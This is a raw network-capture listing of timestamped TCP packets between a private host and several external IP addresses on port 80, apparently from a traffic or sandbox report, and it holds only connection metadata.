                                                            Nov 29, 2024 10:20:03.501146078 CET804987343.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:03.501245022 CET4987380192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:04.399672985 CET4987980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:04.520731926 CET804987943.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:04.521755934 CET4987980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:04.530349016 CET4987980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:04.650240898 CET804987943.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:06.000758886 CET804987943.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:06.000931025 CET804987943.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:06.000991106 CET4987980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:06.003556967 CET4987980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:06.123454094 CET804987943.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:11.321142912 CET4989480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:11.441226959 CET8049894104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:11.441323042 CET4989480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:11.454353094 CET4989480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:11.574235916 CET8049894104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:12.810666084 CET8049894104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:12.810700893 CET8049894104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:12.810873985 CET4989480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:12.811384916 CET8049894104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:12.811431885 CET4989480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:12.959139109 CET4989480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:14.019157887 CET4990180192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:14.139126062 CET8049901104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:14.139230013 CET4990180192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:14.155108929 CET4990180192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:14.275084019 CET8049901104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:15.453742027 CET8049901104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:15.453763962 CET8049901104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:15.453830004 CET4990180192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:15.453896999 CET8049901104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:15.453947067 CET4990180192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:15.662341118 CET4990180192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:16.707921982 CET4990780192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:16.827893972 CET8049907104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:16.828058004 CET4990780192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:16.847640991 CET4990780192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:16.967581987 CET8049907104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:16.967664957 CET8049907104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:18.149729967 CET8049907104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:18.149777889 CET8049907104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:18.149893045 CET4990780192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:18.151298046 CET8049907104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:18.151351929 CET4990780192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:18.349792957 CET4990780192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:19.368498087 CET4991480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:19.488451958 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:19.489584923 CET4991480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:19.498333931 CET4991480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:19.618402004 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.804698944 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.804749966 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.804768085 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.804857016 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.804862022 CET4991480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:20.804868937 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.804881096 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.804893017 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.804898977 CET4991480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:20.804917097 CET4991480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:20.804969072 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.804980993 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.804991961 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.805003881 CET4991480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:20.805026054 CET4991480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:20.809084892 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:20.809187889 CET4991480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:20.812005997 CET4991480192.168.2.5104.21.24.198
                                                            Nov 29, 2024 10:20:20.932302952 CET8049914104.21.24.198192.168.2.5
                                                            Nov 29, 2024 10:20:26.320607901 CET4993080192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:26.440571070 CET8049930194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:26.440654039 CET4993080192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:26.454070091 CET4993080192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:26.573990107 CET8049930194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:27.820631981 CET8049930194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:27.820770025 CET8049930194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:27.820861101 CET4993080192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:27.959153891 CET4993080192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:28.977963924 CET4993880192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:29.097867966 CET8049938194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:29.097991943 CET4993880192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:29.112339020 CET4993880192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:29.232279062 CET8049938194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:30.464202881 CET8049938194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:30.464323044 CET8049938194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:30.464375973 CET4993880192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:30.615345001 CET4993880192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:31.635359049 CET4994580192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:31.755958080 CET8049945194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:31.756100893 CET4994580192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:31.769174099 CET4994580192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:31.889242887 CET8049945194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:31.889256001 CET8049945194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:33.060925961 CET8049945194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:33.061137915 CET8049945194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:33.061208010 CET4994580192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:33.271575928 CET4994580192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:34.290277004 CET4995280192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:34.410440922 CET8049952194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:34.410788059 CET4995280192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:34.419878006 CET4995280192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:34.539892912 CET8049952194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:35.716198921 CET8049952194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:35.716254950 CET8049952194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:35.716367960 CET8049952194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:35.716428995 CET4995280192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:35.716470003 CET4995280192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:35.719038963 CET4995280192.168.2.5194.245.148.189
                                                            Nov 29, 2024 10:20:35.838867903 CET8049952194.245.148.189192.168.2.5
                                                            Nov 29, 2024 10:20:41.385629892 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:41.505620003 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:41.505870104 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:41.519252062 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:41.639386892 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815680027 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815696955 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815716028 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815726042 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815762043 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815767050 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:42.815773964 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815787077 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815810919 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815821886 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:42.815876007 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:42.815886974 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815936089 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.815975904 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:42.935828924 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.935906887 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.935950994 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:42.939974070 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:42.990274906 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.021811962 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.026098013 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.026139021 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.026211023 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.026245117 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.030244112 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.030293941 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.030343056 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.030383110 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.038688898 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.038757086 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.038790941 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.038830996 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.047105074 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.047138929 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.047203064 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.047235012 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.055510998 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.055572987 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.055633068 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.055676937 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.064014912 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.064086914 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.064162970 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.064201117 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.072345018 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.072398901 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.072441101 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.072480917 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.080773115 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.080821037 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.080882072 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.080924988 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.089200020 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.089303017 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.089308977 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.089350939 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.097832918 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.097847939 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.097873926 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.097896099 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.110344887 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.110402107 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:43.110455990 CET804996863.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:43.110493898 CET4996880192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:44.040309906 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:44.160408020 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:44.160604954 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:44.174509048 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:44.294539928 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469659090 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469692945 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469702959 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469721079 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469732046 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469738007 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469743967 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469779015 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.469779015 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.469835043 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.469860077 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469892025 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469906092 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.469907999 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.469954014 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.590029955 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.590182066 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.590246916 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.594115019 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.646490097 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.678003073 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.680022955 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.680068970 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.680079937 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.680104017 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.684195042 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.684242010 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.684310913 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.684345007 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.692615032 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.692667961 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.695682049 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.695732117 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.695777893 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.695818901 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.704238892 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.704260111 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.704291105 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.704323053 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.712539911 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.712594032 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.712636948 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.712675095 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.720962048 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.721005917 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.721096992 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.721147060 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.729363918 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.729415894 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.729466915 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.729499102 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.737787008 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.737847090 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.737858057 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.737886906 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.746228933 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.746273994 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.746323109 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.746360064 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.754683018 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.754724026 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.754791021 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.754826069 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.766480923 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.766522884 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:45.766592026 CET804997563.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:45.766628981 CET4997580192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:46.696508884 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:46.816814899 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:46.817564011 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:46.831182003 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:46.951175928 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:46.951272964 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.185885906 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.185913086 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.185923100 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.185986042 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.186002016 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.186012983 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.186024904 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.186064959 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.186105967 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.186141968 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.186151981 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.186162949 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.186182022 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.186199903 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.306025028 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.306096077 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.306145906 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.310205936 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.335103035 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.396405935 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.396452904 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.396539927 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.400630951 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.400727034 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.400787115 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.409066916 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.409504890 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.412086964 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.412199020 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.412250042 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.420516014 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.420595884 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.420650959 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.428896904 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.429012060 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.429054976 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.437357903 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.437447071 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.437484026 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.437515020 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.445837975 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.445992947 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.446048975 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.454200983 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.454308033 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.454349995 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.462641001 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.462682962 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.462717056 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.462750912 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:48.471051931 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.471147060 CET804998263.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:48.471184969 CET4998280192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:49.352564096 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:49.472577095 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:49.472666025 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:49.481267929 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:49.601145029 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.736955881 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.737000942 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.737014055 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.737112999 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.737123966 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.737138033 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.737147093 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.737150908 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.737163067 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.737191916 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.737206936 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.737303972 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.737317085 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.737365961 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.857400894 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.857487917 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.857620001 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.861426115 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.912102938 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.938566923 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.938647985 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.938769102 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.942679882 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.944247961 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.944287062 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.944319010 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.952701092 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.952775955 CET4998980192.168.2.563.250.43.134
                                                            Nov 29, 2024 10:20:50.952887058 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.961116076 CET804998963.250.43.134192.168.2.5
                                                            Nov 29, 2024 10:20:50.961194038 CET4998980192.168.2.563.250.43.134
